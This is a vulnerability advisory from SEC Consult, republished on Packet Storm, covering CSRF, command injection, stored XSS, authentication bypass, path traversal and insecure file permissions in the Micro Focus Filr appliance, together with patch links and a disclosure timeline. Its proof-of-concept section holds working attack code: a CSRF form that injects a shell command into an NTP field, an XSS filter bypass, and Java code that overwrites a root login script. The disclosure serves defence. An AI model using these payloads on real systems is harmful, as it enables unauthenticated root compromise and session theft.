Micro Focus Filr CSRF / XSS / Code Execution

2016-07-25T00:00:00
ID PACKETSTORM:138038
Type packetstorm
Reporter Wolfgang Ettlinger
Modified 2016-07-25T00:00:00

Description

                                        
                                            `SEC Consult Vulnerability Lab Security Advisory < 20160725-0 >  
=======================================================================  
title: Multiple vulnerabilities  
product: Micro Focus (former Novell) Filr Appliance  
vulnerable version: Filr 2 <=2.0.0.421, Filr 1.2 <= 1.2.0.846  
fixed version: Filr 2 v2.0.0.465, Filr 1.2 v1.2.0.871  
CVE number: CVE-2016-1607, CVE-2016-1608, CVE-2016-1609  
CVE-2016-1610, CVE-2016-1611  
impact: critical  
homepage: https://www.novell.com/products/filr/  
found: 2016-05-23  
by: W. Ettlinger (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Bangkok - Berlin - Linz - Montreal - Moscow  
Singapore - Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
=======================================================================  
  
Vendor description:  
-------------------  
"Unlike other mobile file access and collaborative file sharing solutions, Micro  
Focus Filr has been designed with the enterprise in mind, resulting in less  
administration, better security and more productive users."  
  
URL: https://www.novell.com/products/filr/  
  
  
Business recommendation:  
------------------------  
During a very quick security check several vulnerabilities with high impact  
have been discovered. SEC Consult recommends to immediately apply the patches  
provided by Micro Focus to address these issues.  
  
Please note that since SEC Consult did not conduct a thorough technical security  
check SEC Consult cannot make a statement regarding the overall security of the  
Micro Focus Filr appliance.  
  
  
Vulnerability overview/description:  
-----------------------------------  
During a quick security check several vulnerabilities have been identified that  
ultimately allow an attacker to completely compromise the appliance:  
  
1) Cross Site Request Forgery (CSRF) - CVE-2016-1607  
Several functions within the appliance's administative interface lack protection  
against CSRF attacks. This allows an attacker who targets an authenticated  
administrator to reconfigure the appliance.  
  
2) OS Command Injection - CVE-2016-1608  
The appliance administrative interface allows an authenticated attacker to  
execute arbitrary operating system commands. Please note that an attacker can  
combine this vulnerability with vulnerability #1. In this scenario, an attacker  
does not need to be authenticated.  
  
3) Insecure System Design  
The appliance uses a Jetty application server to provide the appliance  
administration interface. This application server is started as the superuser  
"root". Please note that combined with vulnerability #1 and #2 an attacker can  
run commands as the superuser "root" without the need for any authentication.  
For vendor remark on #3 see solution section.  
  
4) Persistent Cross-Site Scripting - CVE-2016-1609  
The Filr web interface uses a blacklist filter to try to strip any JavaScript  
code from user input. However, this filter can be bypassed to persistently  
inject JavaScript code into the Filr web interface.  
  
5) Missing Cookie Flags  
The httpOnly cookie flag is not set for any session cookies set by both the  
administrative appliance web interface and the Filr web interface. Please note  
that combined with vulnerability #4 an attacker can steal session cookies of  
both the appliance administration interface and the Filr web interface (since  
cookies are shared across ports).  
For vendor remark on #5 see solution section.  
  
6) Authentication Bypass - CVE-2016-1610  
An unauthenticated attacker is able to upload email templates.  
  
7) Path Traversal - CVE-2016-1610  
The functionality that allows an administrator to upload email templates fails  
to restrict the directory the templates are uploaded to. Please note that  
combined with vulnerability #6 an attacker is able to upload arbitray files with  
the permissions of the system user "wwwrun".  
  
8) Insecure File Permissions - CVE-2016-1611  
A file that is run upon system user login is world-writeable. This allows a  
local attacker with restricted privileges to inject commands that are being  
executed as privileged users as soon as they log into the system. Please note  
that combined with vulnerabilities #6 and #7 an unauthenticated attacker can  
inject commands that are executed as privileged system users (e.g. root) using  
the Filr web interface.  
  
  
Proof of concept:  
-----------------  
1, 2, 3)  
The following HTML fragment demonstrates that using a CSRF attack (#1) system  
commands can be injected (#2) that are executed as the user root (#3):  
  
----- snip -----  
<html>  
<body>  
<form action="https://<host>:9443/vaconfig/time" method="POST">  
<input type="hidden" name="ntpServer" value="0.novell.pool.ntp.org  
1.novell.pool.ntp.org';id>/tmp/test;'" />  
<input type="hidden" name="region" value="europe" />  
<input type="hidden" name="timeZone" value="Europe/Vienna" />  
<input type="hidden" name="utc" value="true" />  
<input type="hidden" name="_utc" value="on" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
----- snip -----  
  
4)  
The following string demonstrates how the XSS filter can be circumvented:  
<img src='>' onerror='alert(1)'>  
  
This string can e.g. be used by a restricted user in the "phone" field of the  
user profile. The script is executed by anyone viewing the profile (e.g. admins).  
  
5)  
None of the session cookies are set with the httpOnly flag.  
  
6, 7, 8)  
The following Java fragment demonstrates how an unauthenticated attacker (#6)  
can overwrite a file in the filesystem (#7 & #8) that is executed upon user  
login of e.g. the root user:  
  
----- snip -----  
String sessionCookie = "sectest";  
String host = "http://<host>/";  
  
ProxySettings settings = new ProxySettings();  
HttpCookie cookie = new HttpCookie("JSESSIONID", sessionCookie);  
  
settings.setCookieManager(new CookieManager());  
settings.getCookieManager().getCookieStore().add(new URI(host), cookie);  
  
settings.setModuleBaseUrl(host + "ssf/gwt/");  
settings.setRemoteServiceRelativePath("gwtTeaming.rpc");  
settings.setPolicyName("338D4038939D10E7FC021BD64B318D99");  
GwtRpcService svc = SyncProxy.createProxy(GwtRpcService.class, settings);  
  
VibeXsrfToken token = new VibeXsrfToken(  
StringUtils.toHexString(Md5Utils.getMd5Digest(sessionCookie.getBytes())));  
((HasRpcToken) svc).setRpcToken(token);  
  
String fileName = "../../../../etc/profile.d/vainit.sh";  
FileBlob fileBlob = new FileBlob(ReadType.TEXT, fileName, "", 1l, 4, 1l, false, 4l);  
fileBlob.setBlobDataString("id > /tmp/profiledtest\n");  
BinderInfo folderInfo = new BinderInfo();  
folderInfo.setBinderId((long) 1);  
folderInfo.setBinderType(BinderType.WORKSPACE);  
folderInfo.setWorkspaceType(WorkspaceType.EMAIL_TEMPLATES);  
VibeRpcCmd cmd = new UploadFileBlobCmd(folderInfo, fileBlob, true);  
HttpRequestInfo ri = new HttpRequestInfo();  
svc.executeCommand(ri, cmd);  
----- snip -----  
  
  
Vulnerable / tested versions:  
-----------------------------  
The version 2.0.0.421 of Micro Focus Filr was found to be vulnerable. This  
version was the latest version at the time of the discovery.  
  
According to the vendor, Filr 1.2 is also vulnerable.  
  
  
Vendor contact timeline:  
------------------------  
2016-05-23: Sending encrypted advisory to security@novell.com, Setting latest  
possible release date to 2016-07-12  
2016-05-24: Initial response from Micro Focus: forwarded the information to Filr  
engineering team  
2016-06-13: Micro Focus releases patch to address issue #8  
2016-06-14: Requested status update  
2016-06-14: Micro Focus expects release of the patches in early July  
2016-06-30: Asking for status update, answer of Micro Focus  
2016-07-06: Micro Focus needs more time to patch issues, release re-scheduled  
for 15th  
2016-07-12: Asking for status update; "final rounds of QA" at Micro Focus  
2016-07-16: Postponing advisory release, patch not yet ready  
2016-07-22: Patch release by Micro Focus  
2016-07-25: Coordinated advisory release  
  
  
Solution:  
---------  
The "Filr 2.0 Security Update 2" can be downloaded here and should  
be applied immediately:  
https://download.novell.com/Download?buildid=3V-3ArYN85I~  
Those patches fix vulnerabilities #1, #2, #4, #6, #7  
  
"Filr 1.2 Security Update 3" can be found here:  
https://download.novell.com/Download?buildid=BOTiHcBFfv0~  
  
  
Knowledge base references at Micro Focus:  
Issue #1: https://www.novell.com/support/kb/doc.php?id=7017786  
Issue #2: https://www.novell.com/support/kb/doc.php?id=7017789  
Issue #4: https://www.novell.com/support/kb/doc.php?id=7017787  
Issue #6 & #7: https://www.novell.com/support/kb/doc.php?id=7017788  
  
Local privilege escalation via insecure file permissions (#8) has  
already been fixed in the Filr 2.0 security update 1 in June:  
https://www.novell.com/support/kb/doc.php?id=7017689  
  
  
Issue #3: According to Micro Focus, Jetty actually runs as user  
"vabase-jetty" but will pass commands off to another service on  
the box that runs as root to perform privileged actions.  
They have fixed the command injection in this release and the  
next release will include much more stringent parameter validation  
for passing the commands.  
  
Issue #5: According to Micro Focus, a component of Filr does not  
function properly when the httpOnly flag is enabled. This will be  
addressed in a future release.  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Bangkok - Berlin - Linz - Montreal - Moscow  
Singapore - Vienna (HQ) - Vilnius - Zurich  
  
About SEC Consult Vulnerability Lab  
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ensures the continued knowledge gain of SEC Consult in the field of network  
and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
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EOF W. Ettlinger / @2016  
  
`